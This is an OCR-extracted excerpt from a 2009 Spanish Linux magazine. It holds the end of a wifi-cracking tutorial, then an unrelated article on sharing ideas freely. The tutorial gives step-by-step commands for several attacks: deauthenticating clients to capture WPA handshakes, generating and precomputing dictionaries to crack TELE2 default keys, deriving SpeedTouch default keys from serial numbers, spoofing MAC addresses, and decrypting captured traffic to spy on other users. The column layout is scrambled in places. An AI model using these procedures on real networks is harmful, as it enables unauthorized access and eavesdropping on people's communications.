acceso hacking para linuxeros Cracking Wifi al completo que contiene información primordial sobre la clave. Para capturar un paquete de este tipo nada más que debemos esperar con airodump(-ng) a que un cliente autorizado se asocie correctamente al router. Pero la gente a veces no tiene paciencia y entonces echan mano de aireplay(-ng). ¿Cómo? Pues ejecutando un ataque de desautentificación. Capturamos paquetes: arbitrario o denegación de servicio en X programa, modulo Y. ¡Pero no! Asombrosamente: TKIP y WPA heridos de muerte. Un ataque basado en la misma técnica que volvió obsoleto al WEP (ataque conocido como chopchop) ha permitido que se pueda descifrar un paquete de tipo ARP en menos de 15 minutos, independientemente de la contraseña usada para proteger el WPA. Como bien sabemos, WPA puede utilizar $ airodump-ng --bssid 00:01:02:03:04: por el momento dos tipos de cifrado que son 05 -c 11 -w psk ath1 TKIP o AES, pero por suerte para aquellos que se autodenominan auditores de redes wireless, Realizamos el ataque en concreto: suele ser el primero el que se encuentra presente en la fiesta la mayoría de las ocasiones. $ aireplay-ng -0 5 -a 00:01:02:03:04: De momento, y para los que se hayan 05 -c 11:22:33:44:55:66 wifi0 emocionado, decir que todavía no es posible obtener la clave de la red directamente como Dejamos corriendo el airodump para capturar pa- se hacia con WEP. Las posibilidades a día de quetes de ese punto de acceso, cuando un cliente hoy son la de inyectar paquetes para provocar reconecte, arriba a la derecha veremos la frase: una denegación de servicio o incluso redirigir el tráfico (que no es poco a decir verdad). - 'Handshake 00:01:02:03:04:05' Ataque a TELE2 El truco está en repetir el ataque 2 de forma inter- Todo fue como una especie de proyecto para mitente, para dar tiempo a reconectar al cliente. recolectar contraseñas por defecto de esta clase de routers. El objetivo era, como siempre, sacar TKIP el patrón que las generaba. Bueno, no me detendré a contaros toda la histoLuego empezaron a aparecer suposiciones: ria, dado que aquí [6] la comprenderéis sin duda al detalle. De esto me enteré por primera vez, • Los unos dijeron que sus contraseñas emtranquilo en mi trabajo, cuando suena la campapezaban por la cadena IX1V seguido de nilla de mi gestor de correo avisándome de que 7 dígitos cualesquiera. un mensaje nuevo espera calentito en la bandeja • IX1V7, con este último dígito constante, de entrada. Directamente veo que se ha filtrado y otros 6 cualesquiera. hacia la carpeta Hispasec donde almaceno todas • Y los últimos dijeron que sus contraseñas los noticias sobre las últimas en seguridad inforempezaban por la raíz IX1VP. mática que recibo de Una-al-dia. Quizás una nueva actualización de los Sea como fuere, más adelante se descubrió que productos de Bill, tal vez nuevos paquetes dis- los del segundo grupo habían adquirido el router, ponibles para SuSE, o una ejecución de código absolutamente todos ellos, durante el año 2007. A partir de aquí se decidió que, como siempre, lo principal era crear un diccionario con todas las posibilidades. Como se puede deducir los que empiezan por la raíz IX1V7 tardan una décima parte en crearse que los que empiezan por IX1V (aunque este último abarca todas las posibilidades, siempre que lo que siga sean dígitos y no otros caracteres). Para crear tal diccionario algunos se decidieron por hacer uso de la siguiente herramienta. Podéis descargarla desde la siguiente referencia [7]. Su uso viene como sigue: $ perl wg.pl -a IX1V -v 0123456789 -l 7 -u 7 >> dic_tele2.txt o para los del año 2007: $ perl wg.pl -a IX1V7 -v 0123456789 -l 6 -u 6 >> dic_tele2_07.txt Como es habitual, este diccionario puede ser utilizado directamente con la opción -w de aircrack; pero este proceso es muy lento, apenas prueba unos cientos de claves por segundo. Pero entonces apareció el programa Cowpatty acompañado de la utilidad genpmk. Esta última se encarga de pasar el listado de claves posibles que generamos en el paso anterior a un formato que pueda entender su amigo Cowpatty con las primary master key ya precalculadas. Se ejecuta más o menos así: $ genpmk -f dic_tele2.txt -d tele2.dic -s Tele2 Lo mejor de todo es que a medida que vas generando el nuevo diccionario precalculado, lo puedes ir testeando contra un archivo de capturas que al menos contenga un handshake. Aquí el comando: $ cowpatty -r captura.cap -d tele2.dic -s Tele2 Probará tantas claves como las que hayan sido generadas hasta el momento, en caso de tenerlas todas, claro está, pues probará el diccionario entero. ¿A qué velocidad? Yo llegué a rondar las 150.000 claves por segundo. Ahí es nada. Mi prueba personal, que cuando genpmk ya había generado desde la clave IXV0000000 hasta la IXV3497381 lo probé contra el archivo de capturas y me dijo que ninguna de ellas coincidía. Como el proceso de generación del diccionario lleva unas cuantas horas aun sobre un Core 2 Duo... pues decidí detener genpmk y crear tan sólo el diccionario de las claves cuya raíz tenían IX1V7 (los creados en el 2007). Figura 4. Escritorio y Logo de la distribución WifiSlax www.lpmagazine.org 75 hacking para linuxeros Cracking Wifi al completo Cuando lo hube generado por completo lo probé de nuevo mediante Cowpatty y por desgracia obtuve la misma respuesta, NADA.. Pero no había que desesperar, estamos en el año 2009, es decir, que muchos de los routers que se encuentran hoy activos han sido adquiridos en el 2008. Siguiendo esta filosofía pensé que quizás la raíz de sus claves comenzarían por IX1V8. Y no esperé más, creé el diccionario correspondiente para estas combinaciones de claves. En conjunto hice lo siguiente: $ perl wg.pl -a IX1V8 -v 0123456789 -l 6 -u 6 >> dic_tele2_08.txt $ ./genpmk -f dic_tele2_08.txt -d tele2_08.dic -s Tele2 $ ./cowpatty -r captura.cap -d tele2_08.dic -s Tele2 Y obtuve mi premio: The PSK is: [ IX1V8748132 ] Ataque a SPEEDTOUCH En este caso no existe un patrón concreto, pero si una norma; y es que la clave se genera a partir del numero de serie que posea el punto de acceso. Ahora nos explicamos. Imagínese usted que el número de serie de su punto de acceso es el siguiente: CP0723JT385(34) Bien, ahora separaremos los diferentes campos: CP Siempre igual CP WW Semana del año 23 PP Código de producción JT XXX 3 dígitos aleatorios CC Código de configuración (*) 34 385 • Se aplica el algoritmo SHA-1 a lo que te- menos comentaron quienes tuvieron la genial níamos: idea de hacer caso a esta gente). 742da831d2b657fa53d347301ec610e1eb Los vídeos no están falsificados. Si yo tengo f8a3d0 un punto de acceso de la marca LiveBox y sé su contraseña por defecto, me hago un diccionario Resultados: enorme con códigos aleatorios, entremedias introduzco mi clave correcta, y si lo pruebo • Los 3 últimos bytes (6 caracteres en AS- contra un archivo de capturas está claro que en CII) se añaden a la palabra SpeedTouch algún momento le tocará el turno a la nuestra y para formar el ESSID correspondiente al aircrack(-ng) nos dirá que hemos acertado de punto de acceso. pleno. Siento la decepción, pero hasta el momento, “SpeedTouchF8A3D0” • Los 5 primeros bytes (10 caracteres en AS- y a la espera de estudios más profundos, estas reCII) conforman la clave por defecto para des se encuentran cerradas a nuestros encantos. nuestra red. “742DA831D2” Hasta aquí todo correcto. Si obtenemos un número de serie, podemos calcular su contraseña. Pero esta situación es rara a menos que estemos analizando nuestra propia red o la de algún vecino que nos haya dado permiso. La pregunta es sencilla: ¿Qué hace un hacker/cracker cuando quiere averiguar algo que se encuentra dentro de un rango de posibilidades? Muy cierto, utilizan la FUERZA BRUTA. El objetivo es crear todos los números de serie posibles para un año en concreto sin los campos 'CC' Y 'PP' y, después de pasarlo por el algoritmo de cifrado SHA-1, se comparan los 3 últimos bytes con la terminación de la ESSID (nombre de la red) que deseamos romper. Caso de coincidir, significa que los primeros 5 bytes se corresponden con la clave por defecto para la red SpeedTouch. Por suerte, alguien ya ha hecho este trabajo por nosotros, y el resultado lo podemos encontrar aquí y el código fuente para su estudio en este otro lugar. En realidad es un ataque por fuerza bruta que en principio no dura demasiado tiempo (muy poco en realidad) y, según su autor, se puede optimizar si utilizamos las funciones criptográficas proporcionadas por OpenSSL para el uso de SHA-1. Como único parámetro se pide el ESSID de la red SpeedTouch que queremos crackear. (*) Decimos que 'XXX' son números aleatorios, pero esto es para nuestros propósitos; pues en realidad podría representar el número de unidad ¿Qué pasa con LIVE-BOX? del punto de acceso. Pues de momento, y sintiéndolo mucho, no Para obtener la clave se sigue ahora este pasa nada. El caso es que unos franceses colproceso: garon en Youtube [8] unos cuantos videos que mostraban como romper estas claves utilizando • Se eliminan los campos 'CC' Y 'PP', nos un diccionario del mismo modo que se había queda: hecho para las redes Tele2. CP0723385 Claro, la cuestión es que sólo ellos poseían • Los 3 últimos dígitos (XXX) se pasan a he- tal diccionario y lo vendían a saber qué precio xadecimal: en una página que aquí no mostraré por cues CP0723333835 tiones éticas (que era un timo vamos, o eso al 76 Linux+ 5/2009 Evadir ESSID ocultos Multitud de veces nos encontramos con redes cuyo ESSID aparece como oculto y nos impide realizar la conexión a esa red aun disponiendo de la clave adecuada a la misma. Hoy por hoy esto no será un impedimento para nosotros. El estandar 802.11, sólo obliga a cifrar los paquetes que contienen datos, aquellos otros de control podrían viajar en texto plano. ¿Qué paquetes de control? Pues la mayoría de las redes emiten tramas en broadcast donde se puede leer el ESSID tranquilamente. Hay quien se encarga de deshabilitar esta característica en sus puntos de acceso; pero tenemos más salidas, ya que nadie puede impedir que leamos los paquetes de asociación o reasociación de los clientes contra la red. En estas tramas el nombre del AP también viaja sin cifrar. Una de dos: Podemos esperar pasivamente a que un cliente legítimo se conecte a la red. O si somos un poco mas impacientes provocar una reasociación con aireplay en un ataque de des-autenticación. En realidad no tienes más que poner tu sniffer preferido a escuchar (aquí Wireshark puede ser tu mejor compañía) y saber leer en el lugar adecuado. Una vez que te acostumbras a leer las cabeceras de todos los protócolos, tus ojos sabrán de forma exacta donde deben mirar. Suplantación de MAC Has descubierto la contraseña de una red protegida con el algoritmo WPA y te dispones a asociarte a la red; pero tu conexión no llega a establecerse e incluso desde tu MacBook recibes un mensaje más específico indicando que la red posee una lista de control de acceso por MAC en la que tu dirección no se encuentra. En resumen, no puedes entrar porque no estas autorizado. Eso ya no es problema a estas alturas: ¿Qué tal se te da hacerte pasar por otra persona? hacking para linuxeros Cracking Wifi al completo A día de hoy la dirección MAC de nuestra interfaz de red se puede establecer a través de software. Esta es la ventaja que aprovecharemos para hacerle creer a nuestro Sistema Operativo que la MAC de nuestra tarjeta es la de un usuario que si este realmente autorizado. Deberías tener la MAC de este cliente autorizado puesto que si has conseguido una contraseña WPA, habrás estado esperando por un paquete de autentificación y por tanto hay un cliente activo. En caso contrario no tienes más que arrancar el airodump(-ng) filtrando por el canal de la red que deseas y el parámetro --bssid. Cuando veas que un cliente mueve tráfico en esa red, apunta su dirección MAC en un papel o en un archivo de texto. Suplantación en Linux / MAC OS X Muy sencillo, o utilizas un programa destinado a tal fin que hayas encontrado en la red, o ejecutas directamente el siguiente comando: $ sudo ifconfig interfaz hw ether XX:XX:XX:XX:XX:XX Si tienes una tarjeta con chip atheros y la dirección que has apuntado en el papel es: 00:B3: A9:CA:5F:11. El comando sería: $ sudo ifconfig ath0 hw ether 00: B3:A9:CA:5F:11 En Mac podrías necesitar eliminar el parámetro hw para que funcione correctamente. Suplantación en Windows nombre de la interfaz a que se refiere. Busca Para descifrar una captura WPA/WPA2: entonces cual de ellas se refiere a tu tarjeta de red inalámbrica. Cuando la hallas: airdecap-ng -e 'the ssid' -p passphrase Clave “NetworkAddress” Valor “XXXXXXXXXXXX” Dirección MAC en hexadecimal sin puntos. Existe una función que se encarga de leer esta dirección, su nombre es NdisReadNetworkAddress. Para que tus cambios surjan efecto no tienes más que reiniciar el PC o, más fácil todavía, deshabilitar y volver a habilitar tu adaptador de red (interfaz). Espionaje offline: O cómo usar airdecap(-ng) Bien, muchas veces no despejamos nuestra mente y no pensamos con suficiente claridad. Acabamos de entrar en una red, y lo primero que se nos ocurre es que para encontrar más información interna quizás lo mejor sea utilizar un ataque Man in The Middle, pero esto, visto de forma fría, es ser corto de miras. ¿Por qué? Como siempre, la respuesta es fácil. El objetivo de un ataque MITM es obtener un tráfico que en principio no iba dirigido a nosotros. ¿No es esto lo que ocurre cuando con airodump(-ng) capturamos los paquetes que están moviendo los clientes de esa misma red? La respuesta es afirmativa, claro está, y además, tenemos una clave que puede descifrar esos paquetes para que nuestro amigo Wireshark no diga que lo que le mandamos abrir es una parafernalia sin sentido alguno. Entonces, junto a la suite aircrack, vino a salvarnos la vida un compañero llamado airdecap(-ng) que hace el trabajo sucio por nosotros. Aquí su uso: Utiliza un programa como Smac [9] que hará todo el trabajo sucio por ti, o editas directamente el Registro de Windows. airdecap-ng [opciones] <archivo cap> Clave para WinXP: Opcion Param. Descripcion -l HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Class\ {4D36E972-E325-11CE-BFC108002bE10318} Clave para Win 95/98: HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\ClassNet no elimina la cabecera de 802.11 -b bssid tkip.cap Y por lo demás no tiene más ciencia, el resultado se guardará en un archivo decap y podremos abrirlo con nuestro analizador de tráfico preferido, filtrando si así lo deseamos por el protocolo que más nos interese. Y aquí ya veo a muchos decidiendo por HTTP y MSMSN. ERW Es un software desarrollado para el Sistema Opertivo Windows que enlaza una variedad de herramientas increíbles para la auditoría de redes inalámbricas. Su nombre completo es Estudio de redes Wireless; pero para qué nos vamos a engañar, como subtítulo podría llevar rompe todo lo que puedas y más.... Su autor, Eleaquin, ha invertido una buena parte de su tiempo en recopilar todas estas utilidades y crear una interfaz que haga de su uso la mayor comodidad para el usuario de a pie. Podéis obtenerlo aquí [10]. Algunas de las características que nos podemos encontrar: • • • • • • • • • • • • • • • Configuración en modo monitor de la tarjeta inalámbrica. Suite Aircrack. Wlan Ripper (Wlan). Wlan Buster. DecSagem (ADSL). Dlink Wireless. Stkeys (SpeedTouch). Wintele2. AutoMagica. Ethereal (sniffer de trafico). NetStumbler, detector de redes y nivel de señal. Wireless Key View. Net Set Man. Etherchange. Conversor HEX/ASCII y viceversa. direccion MAC del punto de acceso -k pmk WPA/WPA2 Pairwise Master Key en hexadecimal -e essid Nombre de la red -p pass Clave WPA/WPA2 -w key Clave WEP en hexadecimal Dentro de cualquiera de estos lugares de- Para descifrar una captura WEP: berías encontrar otras claves. La mayoría de ellas contienen a su vez otra clave en su airdecap-ng -w 11A3E229084349BC25D97E interior llamada DriverDesc que contiene el 2939 wep.cap www.lpmagazine.org Figura 5. Ventana de 77 hacking para linuxeros Cracking Wifi al completo Referencias • • • • • • Figura 6. Protocolos de seguridad en redes inalámbricas • • Card Check (consulta la compatibilidad de nuestro chip). Utilidades como: CPU Administrator, Tracer, Whois, Calculate, Backup, Files, Atw (administrador de tareas), Yaps, Hexwrite, Notepad... WIFISLAX • • A partir de aquí, y con todas estas ventajas por delante (fíjense que puede portarse en un USB si así lo desean). Descárgalo desde el sitio oficial [11]. Vamos allá con todas las novedades: 78 • • Bueno, en principio podríamos definirlo en tan • solo dos conceptos: • • • • Sobre el autor • David Puente Castro, alias blackngel, es un gran aficionado a la programación y la seguridad informática. Original de Ourense y viviendo actualmente en la provincia de Salamanca, dedica la mayor parte de su tiempo libre a disfrutar de la experiencia Linux. Asiduo escritor de artículos básicos sobre temas de seguridad informática en el E-Zine electrónico S.E.T. (Saqueadores Edición Técnica), actualmente mantiene su página oficial en: http://www.setezine.org. Su primer encuentro con Linux data ya de hace unos 8 años y fue poco más adelante que descubrió el fantástico mundo de la programación y la subcultura hacker. Participa activamente en wargames como: Yoire, Warzone, Yashira y otros. Puede encontrarlo online prácticamente las 24 horas del día, en las siguientes direcciones: [email protected] y [email protected] WifiSlax es Linux. WifiSlax es un Live-CD. • • • • • • • • • Basado en Slackware. Posee versión reducida. Suite tradicional aircrack-sp. • Suite actual aircrack-ng. Dlinkdecrypter. Airoscript (todo lo que necesites esta aquí • dentro). Airoscript para ipw2200. Lanzador Kismet. • Macchanger. Wlandecrypter. • Configuración Wireless. Apoyo a varios chipset. Cowpatty. DHCP. • Soporta PCMIA (chipsets Orinoco Configuración manual. o Prism2) MAC OS X Alguno estará diciendo: ¿Y qué ocurre con mi MacBook o mi nuevo MacBook Pro? Mi mejor recomendación para estos casos, por experiencia al poseer uno, y aunque lo tengo particionado junto con Linux, es que utilicéis KisMAC(-ng) [12]. Es fácil de deducir, la versión de Kismet para Macintosh. Algunos detalles de la preciada herramienta: • • [1] Protocolos de seguridad en redes inalámbricas: http://www.saulo.net/pub/inv/ SegWiFi-art.htm [2] Wlandecrypter 0.5 – Revisado : http://www.telefonica.net/ web2/amstrad/wlande crypter-0.5.tar.gz [3] WepLab: http://weplab.sourceforge.net/ [4] WepAttack: http://sourceforge.net/projects/ wepattack/ [5] DecSagem: http://galeon.com/decsagem/ DecSag.rar [6] TKIP usado en WPA, herido de muerte: http://portalhispano.wordpress.com/ 2008/11/11/tkip-usado-en-wpa- parece-estar-herido-de-muerte/ [7] Word Generator by Matteo Redaelli [email protected]: http://digilander.libero.it/reda/ downloads/perl/wg.p/ [8] Crack wpa Livebox avec crack-wpa.fr: http://es.youtube.com/ watch?v=FZdm73IO5hQ [9] Smac 2.0: http://www.klcconsulting.net/ smac/ [10] ERW 2.4 – Final: http://rapidshare.com/files/ 132415341/ERW2.4_final.rar [11] WifiSlax: http://www.wifislax.com/ [12] KisMAC: http://kismac.macpirate.ch Es software libre Soporta tarjetas AirPort Linux+ 5/2009 Según parece todavía no soporta reinyección de tráfico, pero es muy válida para crackear redes de tipo wlan. Conclusión Lo que aquí has encontrado no es ni tecnología punta, ni tan siquiera información clasificada. No perseguíamos eso, simplemente deseábamos abrirte un amplio abánico de posibilidades para que puedas auditar la mayoría de las redes inalámbricas que estén a tu alcance. conocimiento libre Liberando Ideas Más allá del Conocimiento Libre: Liberando y Compartiendo Ideas José Carlos Cortizo Pérez [email protected] Por lo general hablamos de liberar código, en referencia al Software Libre, o liberar trabajos y/o contenidos, en referencia al amplísimo campo del Conocimiento Libre. Sin embargo, existen movimientos que tratan de ir más allá de los contenidos en si mismos, llevando la idea de la libertad al intangible mundo de las ideas. 80 E n este artículo hablaremos de algunas iniciativas en esta línea que le dan una interesante vuelta de tuerca al mundo del Conocimiento Libre. En este mismo número, se publica una entrevista a Aurora Garal (CEO de WorthIdea) y a Jordi Bufí (cofundador de Neurotic) que ahondan en los contenidos de este artículo. El término idea procede del griego ƒÂέƒ, de eidon, que significa yo vi, en referencia a la imagen conceptual que tenemos sobre las cosas en nuestra mente. Las ideas se asocian con la mente humana, al ser los humanos a los que se les otorga el raciocinio, la capacidad de razonar sobre su entorno, de reflexionar sobre lo que ha ocurrido y lo que ocurre, generando una visión mental de su entorno que es lo que nos permite tomar decisiones y juzgar las acciones de los demás y la realidad en si misma. Así pues, las ideas se asocian a las capacidades de raciocinio, autorreflexión, creatividad, adquirir conocimiento, aplicarlo, etc. El mundo de las ideas da origen al mundo de los conceptos, la base del conocimiento que aplicamos a diario, tanto dentro del mundo científico, del mundo filosófico, o incluso dentro de nuestro día a día. Linux+ 5/2009 Este artículo es Libre El texto de este artículo está licenciado bajo Creative Commons Atribución. Las fotografías están licenciadas bajo diversas licencias Creative Commons, que se pueden consultar en los encabezados de las mismas. La editorial ha tenido a bien el comprometerse con la causa del conocimiento libre y liberar, en su Web, los contenidos de esta sección regular, dos meses después de aparecer su versión física en los kioscos. En Filosofía, el término idea ha sido utilizado con una gran variedad de significados. La visión de que las ideas existen en un plano separado de la realidad, o como algo paralelo a la vida real, se conoce como “ideas innatas”. Otras vistas sostienen que solamente somos capaces de descubrir ideas de la misma forma que descubrimos el mundo real, a partir de las experiencias personales. Gran parte de la ambigüedad del término en estos aspectos se debe al hecho de que se utiliza tanto para la representa- conocimiento libre Liberando Ideas ción de la percepción (algo más cercano a lo real), como para la conceptualización de los pensamientos (algo más etéreo), generando una gran controversia de ideas concretas contra ideas abstractas”, así como “ideas simples contra ideas complejas. Más allá de lo filosófico, basta ver que los humanos utilizamos las ideas para representar todo aquello que vemos, con lo que nos relacionamos, o incluso aquello que utilizamos como solución a nuestros problemas. Manejamos ideas de forma innata a toda hora, algunas de las cuales mantienen una relación directa con la realidad por ser representaciones conceptuales de cosas concretas o personas, y otras más abstractas relacionadas con nuestros procesos de pensamiento y razonamiento. También a diario generamos ideas relacionadas con los procesos necesarios para resolver algunos de nuestros problemas, tanto en el trabajo como en el aspecto personal, algunas de las cuales podemos aplicar, y algunas otras no son aplicables, aunque el manejarlas nos permite validar hipótesis que, en cualquier caso, resultan imprescindibles para poder abordar una gran variedad de cuestiones. Las ideas son clave en nuestro día a día, y aún así en muchos casos somos reacios a compartirlas. ¿Por qué? Compartimos cosas bastante más elaboradas, como son los contenidos, que en muchos casos son una materialización elaborada de las ideas originales. Entonces, ¿por qué no compartir Figura 1. Al ser intangibles resulta complicado representar en imágenes una idea. Tradicionalmente se han la materia base sin elaborar, las ideas en si utilizado las bombillas para representar el hecho de tener una idea. Fotografía licenciada bajo CC-by-nc por mismas? Cayusa (http://flickr.com/photos/cayusa/) La validez y el valor de las Ideas Uno de los problemas asociados a las ideas es el estudiar su validez. Generamos millones de ideas a lo largo de nuestra vida, aunque una gran mayoría de ellas no son válidas ni nos sirven para nada concreto, quedándose en el limbo de lo etéreo. Para que una idea tenga un valor en si misma, ha de ser una idea válida, pero determinar la validez de una idea en si misma no es algo sencillo de por sí. Cualquier cadena de razonamiento (sentido común) que intente demostrar la validez o falsedad de una idea, ha de utilizar conceptos, y por tanto ideas, en su propio recorrido. Así pues, para compartir ese razonamiento, hay que creer en la validez de todas las ideas empleadas como premisas de los argumentos, lo cual nos lleva a una espiral de razonamiento que no tiene Figura 2. Al tratarse de entidades abstractas, muchas veces manejamos representaciones más físicas para fin. representar ideas, expresarlas, o al menos razonar sobre ellas, como pueden ser los diagramas o algunos Tanto matemáticos, como astrónomos, fí- www.lpmagazine.org 81 conocimiento libre Liberando Ideas sicos, y demás científicos, aseguran que sus proposiciones universales son ciertas y tratan con la realidad. Dentro de la ciencia, se entiende que las leyes físicas formuladas por la mente tratan de reflejar el universo exterior, por lo que los términos y las ideas en esas ciencias tienen correlaciones perfectas en la naturaleza y toman la esencia de los objetos con las que tratan. Sin embargo, todo lo que proponen no deja de ser nada más que un sistema consistente de proposiciones perfectamente alineadas con nuestra realidad. ¿Esto quiere decir que nada de lo que conocemos hasta la fecha es falso? En absoluto, puede Figura 3. Cualquier proceso de razonamiento se fundamenta en la utilización de las ideas, por lo que razonar sobre las propias ideas no genera resultados a gusto de todos. Fotografía licenciada bajo CC-by-sa por Gutter (http://www.flickr.com/photos/somemixedstuff/) que algunas ideas que tratemos como reales acaben siendo falsas, pero eso no nos ha de preocupar, ya que cuando encontremos alguna idea que represente mejor nuestra realidad desplazará a la anterior sin mayor problema. Necesitamos manejar estas ideas para comprender la realidad y para postular posibilidades, y aunque nos equivoquemos en el proceso, nos resulta de vital importancia para poder seguir progresando. En un ámbito más terrenal, y suponiendo que nuestras ideas tengan validez, ¿cuánto valen nuestras ideas? ¿Tienen valor alguno o no valen absolutamente nada? Existe una gran variedad de respuestas a estas preguntas, sobre todo dependiendo de con quien trates y en qué ámbito nos movamos. Dentro de un plano científico, las buenas ideas son vitales, ya que son las que permiten seguir investigando e ir descubriendo más acerca de nuestra realidad. En otros ámbitos, parece que las ideas tienen un menor valor. Por ejemplo, dentro del mundo del emprendizaje y las inversiones, es muy común oír a los inversores decir que las ideas o no valen nada, o al menos que las ideas valen muy poco, en referencia a que las ideas se generan a toda hora, pero lo complejo es llevarlas adelante. Esto parece tener cierto sentido, ya que aunque ideas como la fusión fría pueden parecer tener un valor incalculable, lo que realmente lleva al éxito, o tiene un valor tangible es el hecho de desarrollar la idea y ofrecer soluciones que la implementen. Aún así, tampoco debemos irnos al extremo, ya que las ideas tampoco es que no valgan nada. Las ideas tienen valor desde el punto de vista de poder ser utilizadas para resolver nuestros problemas, o los problemas de otros. También sirven para conocer lo que piensan los demás, para conocer sus necesidades. A este respecto, hace relativamente poco tiempo se inició una recogida de ideas por parte de la Unión Europea (http://www.consultas-europeas-a-la-ciudadania.eu/) que trata de estudiar cuáles son los problemas que más les preocupan a los ciudadanos para tratarlos con mayor detenimiento. A lo largo del resto del artículo, veremos algunos casos de éxito de compartición y liberación de ideas, como son los proyectos Ideas4All y WorthIdea, y la inusual pero excelente iniciativa de liberar un plan de negocio por parte de la gente de Neurotic. Ideas4All Figura 4. La ciencia maneja ideas que tratan de modelar la realidad. En esta imagen, una célula cerebral cristalizada que, al ser analizada, da lugar a multitud de ideas que tratan de explicar su funcionamiento. Fotografía licenciada bajo CC-by-nc-nd por PhOtOnQuAnTiQuE (http://www.flickr.com/pho- 82 Linux+ 5/2009 Tal y como comenta el propio equipo de Ideas4All (http://www.ideas4all.com), ideas4all es el sitio donde las personas con ideas pueden compartirlas; pueden cambiar la vida de al- conocimiento libre Liberando Ideas guien o incluso cambiar el mundo. Es el sitio donde las personas que necesitan una solución pueden encontrarla. También es el sitio donde las personas pueden ver ideas nuevas, navegar en busca de soluciones y divertirse. Resumiendo, ideas4all trata de la conectividad. Imagina millones de ideas, todas ellas dando vueltas en un Global Brain, todas ellas interconectadas y trabajando juntas. Es fabuloso, y es inteligente. De todos, para todos. Cada persona tiene ideas que merecen ser compartidas. Cualquier idea puede generar ideas nuevas. Así es como el 'Global Brain' funciona. Ideas4All promueve la compartición de ideas por parte de los usuarios, con un enfoque muy cercano al del Software Libre. En Ideas4All las ideas “se regalan” al mundo con el objetivo de cambiar la vida de otras personas, de compartir experiencias, o me- jorar tu Comunidad. En Ideas4All las ideas se pueden licenciar de dos formas distintas, bajo Creative Commons Atribución 2.5, de forma que cada cual se reserva la autoría de sus ideas, pero cede el resto de derechos, o bien mediante la licencia Ideas4All bajo la cual se retiene el copyright de las ideas pero se cede el derecho de exponer las ideas en la Web. Las ideas, después de ser compartidas, son analizadas y valoradas por la Comunidad, de forma que las ideas con mayor impacto ocupan las primeras posiciones del ranking de ideas. Las ideas también se pueden comentar, lo cual genera interesantes discusiones sobre los temas más dispares. Además de compartir ideas, en Ideas4All se pueden compartir problemas, para que otros miembros de la Comunidad aporten Figura 5. Captura de la web de Ideas4All, donde se pueden ver las ideas que comparten los usuarios, así como los votos que otros realizan sobre las mismas Figura 6. Esquema del funcionamiento de WorthIdea extraído de su web www.lpmagazine.org soluciones a los mismos. Estos problemas pueden tener tanto un alcance local como un alcance global, permitiendo la comunicación y la compartición de opiniones a múltiples niveles. WorthIdea WorthIdea (http://www.worthidea.com/) es un proyecto tan similar como distinto de Ideas4All. Similar porque su objetivo también reside en la compartición de ideas por parte de los usuarios, pero distinto en el planteamiento de fondo. Ideas4All tiene quizás un objetivo más altruista, el construir una base de datos de ideas de interés global, un Global Brain colectivo. Sin embargo, WorthIdea tiene un punto de vista más pragmático, como un nexo conductor entre distintos agentes, tratando de que los usuarios trasladen sus ideas a otros agentes (por ejemplo empresas) que puedan implementar esas ideas para mejorar productos y ofrecer un mejor servicio. Esto no quiere decir que en WorthIdea no se puedan compartir ideas de todo tipo, todo lo contrario, pero sí se nota un sesgo más práctico y orientado hacia este tipo de ideas. Hace poco tiempo, Aurora Garal (CEO de WorthIdea), publicaba un interesante artículo en Loogic (http://loogic.com/innovacionabierta-entre-personas-y-empresas/), un excelente blog de negocios, acerca de la innovación abierta entre personas y empresas, en el que comentaba: los avances en las tecnologías de la información están acelerando uno de los fenómenos que más va a revolucionar el status quo de la sociedad. Nos referimos a la innovación abierta, la innovación que rompe las fronteras de la organización para dejar que el potencial externo pueda acceder para añadir valor. Aunque este movimiento aún no ha explotado, llevamos varios años viendo muchas compañías sacándole partido. Otra de las diferencias fundamentales de WorthIdea con respecto a Ideas4All es que, además de servir como una base de datos de ideas y, con ello, de conocimiento, WorthIdea también tiene una cierta vertiente de “comercio electrónico” de ideas, ya que en WorthIdeas se pueden vender y comprar las ideas, una forma de promover la generación de ideas con valor añadido que puedan servir como uno de los ejes innovadores de muchas empresas. WorthIdea es un proyecto joven pero de gran valor, y tal y como nos comenta la propia Aurora Garal en la entrevista que aparece en este mismo número, actualmente nos encontramos inmersos en un desarrollo bastante 83 conocimiento libre Liberando Ideas innovador y cerrando acuerdos con diferentes empresas, para lanzar una versión mucho más ambiciosa de WorthIdea, donde cada uno de nosotros podemos ser los protagonistas y tendremos voz y voto directo con las empresas que participen. Un Plan de Negocio Libre En septiembre de 2008 descubrí el blog de Jordi Bufí, cofundador de Neurotic (http:// www.neuroticweb.com/), una empresa especializada en consultoría de Drupal y desarrollos web. El descubrimiento de este blog vino de la mano de la repercusión que tuvo en la web, especialmente entre blogs y medios relacionados con emprendedores e inversores de Internet, de la liberación de un plan de empresa de una Red Social Inteligente (http:// jordi.bufi.es/hemos-publicado-un-plan-deempresa). Elaborar un plan de empresa es un proceso largo y duro, ya que se desarrolla un documento que suele superar con creces las 100 páginas (138 en el caso del plan liberado por Jordi Bufí y Carlos Rincón), donde se detallan tanto conceptos técnicos como financieros, analizando el mercado potencial, la competencia, y un sinfín de aspectos que requieren de conocimientos y tiempo. Así pues, conociendo el esfuerzo que conlleva desarrollar un plan de empresa, me pareció una decisión muy valiente la de liberar el documento para que otros pudieran aprovechar su experiencia, conocimientos, idea y trabajo, para desarro- llar por su cuenta el proyecto. En su día Jordi hacía un planteamiento muy acertado con respecto a la liberación de este plan de empresa en su blog: La cuestión es, tal y como se ha estado debatiendo en los comentarios ¿hemos cometido un error por nuestra parte o más bien es un acierto? Nosotros creemos que publicar el plan de empresa tiene más ventajas que desventajas, sino obviamente no lo habríamos hecho. Entre los pros de liberar el plan de empresa, Jordi enumeraba: Sobre el autor José Carlos Cortizo Pérez es Ingeniero Superior en Informática y, actualmente, doctorando en el programa de Ciencias de la Computación de la Universidad Carlos III de Madrid. Tras una dilatada experiencia como consultor, actualmente compagina sus labores como CTO en AINetSolutions y Wipley, con labores docentes y de investigación en la Universidad Europea de Madrid. Su bitácora personal se encuentra en http://josekblog. blogspot.com. Por otra parte, José Carlos es miembro de GLUEM (Grupo de Usuarios de Linux y Software Libre de la Universidad Europea de Madrid, http://www.gluem. org), organización muy activa que, de forma anual, organiza las Jornadas de Informática de la UEM (en otoño) y las Jornadas de Conocimiento Libre (en primavera). • Alguna gente conocerá el plan de empresa y, por tanto, nos conocerá a nosotros (o nos conocerá mejor si ya sabía que existíamos), • La gente que lo lea nos puede indicar qué cambiaría en el plan de empresa, así podríamos mejorarlo o tenerlo en cuenta de cara a otro proyecto, • 